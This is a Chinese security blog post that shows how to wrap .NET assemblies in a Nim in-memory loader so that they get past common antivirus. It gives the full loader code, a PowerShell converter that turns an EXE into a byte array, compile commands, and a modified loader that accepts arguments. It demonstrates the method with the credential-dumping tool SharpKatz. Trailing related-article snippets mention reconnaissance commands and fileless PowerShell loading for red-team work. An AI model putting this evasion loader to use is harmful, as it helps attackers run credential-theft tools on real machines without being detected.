Nim套娃加载.NET程序集

VSole2021-08-28 23:22:14

简介

使用OffensiveNim绕过常见杀软。

Start the game

主要用到的库是WINIM

import winim/clr
import sugar
import strformat
# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0]
echo "[*] Installed .NET versions"
for v in clrVersions():
    echo fmt"    \--- {v}"
echo ""
echo ""
var assembly = load(buf)
dump assembly
var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

作者提供了一个ps脚本将exe转为符合nim的bytes数组。

function CSharpToNimByteArray
{
Param
    (
        [string]
        $inputfile,
	    [switch]
        $folder
)
    if ($folder)
    {
        $Files = Get-Childitem -Path $inputfile -File
        $fullname = $Files.FullName
        foreach($file in $fullname)
        {
            Write-Host "Converting $file"
            $outfile = $File + "NimByteArray.txt"
    
            [byte[]] $hex = get-content -encoding byte -path $File
            $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
            $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
            $Results = $Results + "]"         
            $Results | out-file $outfile
         
        }
        Write-Host -ForegroundColor yellow "Results Written to the same folder"
    }
    else
    {
        Write-Host "Converting $inputfile"
        $outfile = $inputfile + "NimByteArray.txt"
        
        [byte[]] $hex = get-content -encoding byte -path $inputfile
        $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
        $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
        $Results = $Results + "]"         
        $Results | out-file $outfile
        Write-Host "Result Written to $outfile"
    }
}

测试SharpKatz

体积有点大。

编译

nim c -d=mingw --app=console --cpu=amd64 execute_assembly.nim

Bingo

体积只有800k。

现在还没法执行自定义参数,源码修改后如下:

import winim/clr
import sugar
import strformat
import os
# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0]
echo "[*] Installed .NET versions"
for v in clrVersions():
    echo fmt"    \--- {v}"
echo ""
echo ""
var assembly = load(buf)
dump assembly
var cmd: seq[string]
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    inc(i)
echo cmd
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

echo
本作品采用《CC 协议》,转载必须注明作者和本文链接
研究人员警告用户不要从第三方零售商处购买智能扬声器,并建议他们按下Echo的静音按钮,以实际禁用麦克风。作为对MWR调查结果的回应,亚马逊发布了一份声明,称用户保护自己免受此类篡改的最佳方式始终是直接从该公司购买Echo。拥有2017款设备的用户不会受到这一最新黑客攻击的影响,因为新机型引入了一种缓解措施,以防止设备外部启动的方式连接了两个关键的调试板。
柯林斯于去年11月21日在阿肯色州本顿维尔拜访他的同事贝茨家时去世。第二天早上,科林斯的尸体在一个热水浴缸里被发现,贝茨被指控犯有一级谋杀罪。据推测,当局认为Echo设备可能在事件当晚拾取并上传到亚马逊服务器的音频记录可能包含与正在调查的案件有关的证据。检方声称,在他杀死柯林斯后,这些水被用来冲走证据。
Ethyrial: Echoes of Yore是由独立游戏发行商Gellyberry Studios开发的一款大型多人在线角色扮演游戏(MMORPG),该游戏的主服务器遭受勒索软件攻击,攻击者加密了所有数据,包括本地备份驱动器,并要求支付赎金以获取解密密钥。该游戏开发商不相信支付赎金能够获得解密密钥,因此他们决定手动恢复所有受影响的系统。此次事件影响了该游戏的17000个玩家账号,导致这些账号在
systeminfo | findstr /B /C:"OS Name" /C:"OS Version". systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文操作系统。schtasks /query /fo LIST /v #query显示所有计划任务。
英国皇家霍洛威大学和意大利卡利亚里大学的研究人员发现可利用亚马逊智能音箱 Amazon Echo 自己的扬声器发出语音命令,迫使其打开门,拨打电话和进行未经授权的购买,以及控制其它智能电器。研究人员发现,在唤醒词之后紧跟着一个可执行的命令,Amazon Echo 就会执行它,执行敏感命令需要口头确认,但只要在发出命令 6 秒后加上 yes 就能绕过。这一攻击被研究人员称为 Alexa vs. Al
访问http://ip:9200 检查elasticsearch是否正常启动NO.2 安装kibanaapt-get install kibanaserver.host: "ip"service elasticsearch start
RCE系统交互条件与受限环境下的利用
shell编程15例(一)
2022-03-23 07:53:04
1、编写hello world脚本 #!/bin/bash # 编写hello world脚本 echo "Hello World!" 2、通过位置变量创建 Linux 系统账户及密码 #!/bin/bash # 通过位置变量创建 Linux 系统账户及密码
内网渗透之内网信息查看常用命令
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo
VSole
网络安全专家